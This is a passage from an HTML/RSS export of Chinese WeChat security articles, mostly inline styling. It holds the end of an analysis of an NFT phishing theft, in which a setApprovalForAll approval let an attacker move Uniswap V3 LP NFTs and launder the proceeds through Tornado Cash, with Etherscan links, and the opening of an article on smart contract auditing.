serif;font-size: 24px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: 0.544px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;"></span></strong></p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;"><strong style="margin: 0px;padding: 0px;color: rgb(51, 51, 51);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 24px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: 0.544px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;"></span></strong><a href="https://etherscan.io/tx/0x1f5d7e647723f542abda34e83bdeb5c8dcbae08777efc2d4aac219ae113a87d4" target="_blank">https://etherscan.io/tx/0x1f5d7e647723f542abda34e83bdeb5c8dcbae08777efc2d4aac219ae113a87d4</a></p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;"><br/></p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;"><strong style="margin: 0px;padding: 0px;color: rgb(51, 51, 51);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 24px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: 0.544px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;">通过分析发现受害账户与 Uniswap 的 LP 合约进行了交互，且调用 setApprovalForAll 方法授权自己的 NFT 给攻击账户，交易详情如下：<br/></span></strong></p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;"><strong style="margin: 0px;padding: 0px;color: rgb(51, 51, 51);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 24px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: 0.544px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;"><br/></span></strong></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5962962962962963" data-s="300,640" style="" data-type="png" data-w="2160" src="https://wechat2rss.xlab.app/img-proxy/?k=c2fa9942&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fpx3YHTjnicpqe64ic1YRrnMTLavFRiazBOOicxWVKx9xYxRRYrOhvmLz59SgDViaAXuYQMkxQt1TpGNkSIPGjb8wCxw%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;"><strong style="margin: 0px;padding: 0px;color: rgb(51, 51, 51);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 24px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: 0.544px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;"></span></strong></p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;"><strong style="margin: 0px;padding: 0px;color: rgb(51, 51, 51);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 24px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: 0.544px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;">此时，攻击账户就具备了操作受害账户中 Uniswap V3 NFT 的能力（</span></strong><span style="text-decoration: underline;"><strong style="margin: 0px;padding: 0px;color: rgb(51, 51, 51);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 24px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: 0.544px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="text-decoration: underline;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;float: none;display: inline !important;">其实每一次在 Opensea 上交易 NFT 都需要调用 <strong style="margin: 0px;padding: 0px;color: rgb(51, 51, 51);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 24px;letter-spacing: 0.544px;text-align: left;"><span style="text-decoration: underline;margin: 0px;padding: 0px;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;display: inline !important;">setApprovalForAll</span> </strong></span></strong><strong style="margin: 0px;padding: 0px;color: rgb(51, 51, 51);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 24px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: 0.544px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="text-decoration: underline;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;float: none;display: inline !important;">方法</span></strong></span><strong style="margin: 0px;padding: 0px;color: rgb(51, 51, 51);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 24px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: 0.544px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;">）</span></strong></p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;"><br/></p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;"><strong style="margin: 0px;padding: 0px;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;background-color: rgb(255, 255, 255);color: rgb(85, 85, 85);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;letter-spacing: 0.544px;box-sizing: border-box !important;overflow-wrap: break-word !important;">2.攻击账户操作 Uniswap V3 NFT 合约将受害者账户中的 LP NFT 转移至洗币账户的交易链接：</span></strong></p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;clear: both;min-height: 1em;white-space: normal;box-sizing: border-box !important;overflow-wrap: break-word !important;"><a href="https://etherscan.io/tx/0x8f3040fe5ab4ddfa8b984edbab863295ae3e191d23cda0b8525f5e79c8774cbc" target="_blank">https://etherscan.io/tx/0x8f3040fe5ab4ddfa8b984edbab863295ae3e191d23cda0b8525f5e79c8774cbc</a></p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;clear: both;min-height: 1em;white-space: normal;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5625" data-s="300,640" style="" data-type="png" data-w="2560" src="https://wechat2rss.xlab.app/img-proxy/?k=607b5a60&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fpx3YHTjnicpqe64ic1YRrnMTLavFRiazBOOcTblhOIZgV5yJQfE50icTZyyVpDx5cs0Ayqroibj6pCibMXWJSwniapxVA%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;"><strong style="margin: 0px;padding: 0px;color: rgb(51, 51, 51);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 24px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: 0.544px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;"><br/></span></strong></p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;"><strong style="margin: 0px;padding: 0px;color: rgb(51, 51, 51);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 24px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: 0.544px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;">不难发现，攻击账户在通过钓鱼获得受害账户的授权后，直接向 Uniswap V3 NFT 合约发送转移请求，即将受害账户持有的 LP NFT 转移至洗币账户，此时洗币账户将获得被盗取的 LP ，通过移除 LP 操作，即可获得 ETH 。</span></strong></p><p style="text-align: left;"><span style="color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;"><br/></span></p><p style="text-align: left;"><span style="color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;"><strong style="margin: 0px;padding: 0px;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;background-color: rgb(255, 255, 255);color: rgb(85, 85, 85);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;letter-spacing: 0.544px;box-sizing: border-box !important;overflow-wrap: break-word !important;">3.洗币账户利用 Tornado Cash 进行洗币的交易链接</span>：</strong></span></p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;clear: both;min-height: 1em;white-space: normal;box-sizing: border-box !important;overflow-wrap: break-word !important;"><a href="https://etherscan.io/tx/0xe902c988da5e715c932f11df56a837e4599df5c695a8fa3d96b902e9f5cfe0d6" target="_blank">https://etherscan.io/tx/0xe902c988da5e715c932f11df56a837e4599df5c695a8fa3d96b902e9f5cfe0d6</a></p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;clear: both;min-height: 1em;white-space: normal;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5589622641509434" data-s="300,640" style="" data-type="png" data-w="2544" src="https://wechat2rss.xlab.app/img-proxy/?k=2189e54e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fpx3YHTjnicpqe64ic1YRrnMTLavFRiazBOOkTv8Xic8DknkHP9bz4TkOYgd35ZHNkTypscbvHPDJYccFicmEyAXBd4A%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: left;"><span style="color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;"><strong style="margin: 0px;padding: 0px;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"></strong></span></p><p style="text-align: left;"><span style="color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;"><strong style="margin: 0px;padding: 0px;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></strong></span></p>



<p><a href="2247485111">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=12eb5dfb&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU3MTU3NDk4Mw%3D%3D%26mid%3D2247485111%26idx%3D1%26sn%3D93236a0bced1d2de5c3784e1f9eec915%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 12 Jul 2022 10:00:00 +0800</pubDate>
    </item>
    <item>
      <title>从一笔区块链交易看智能合约逻辑及安全问题</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU3MTU3NDk4Mw==&amp;mid=2247485097&amp;idx=1&amp;sn=24c6ebbff69604b73cea2d5234796e3c</link>
      <description>数字藏品合成公告，合约审计及安全问题探讨</description>
      <content:encoded><![CDATA[<p>
原创 <span>R0ckGh0st</span> <span>2022-06-05 09:30</span> <span style="display: inline-block;">北京</span>
</p>

<p>数字藏品合成公告，合约审计及安全问题探讨</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=dbd43735&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fpx3YHTjnicppy3r2FevwWhKhpAr0uHWTygtgND9G3v4ibwzrnpQ8nmC6Up4njd6t78KCDSt5dUGzeIIibIsUR5wIA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p><br/></p><p><span style="font-size: 14px;"><span style="font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;color: rgb(255, 0, 0);display: inline !important;">免责声明</span><span style="color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;">：本文不构成任何投资建议，文中所涉及的技术及相关安全问题仅代表笔者观点,不具有任何指导和买卖意见。市场有风险,投资需谨慎!识别出的潜在安全问题，并不代表该合约在实际环境中就确实存在安全问题，识别出的风险点仅作为安全建议进行参考。</span></span></p><p><br/></p><h3 style="margin: 5px 10px;padding: 0px;outline: 0px;font-weight: bold;font-size: 19.2px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">一、故事背景：数字藏品的自动合成及销毁</h3><p><span style="font-size: 14px;">截图如下所示，通读说明可以提取如下关键字样：</span><br/></p><p><span style="font-size: 14px;">（1）普通款藏品已经合成即“</span><span style="color: rgb(255, 0, 0);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: 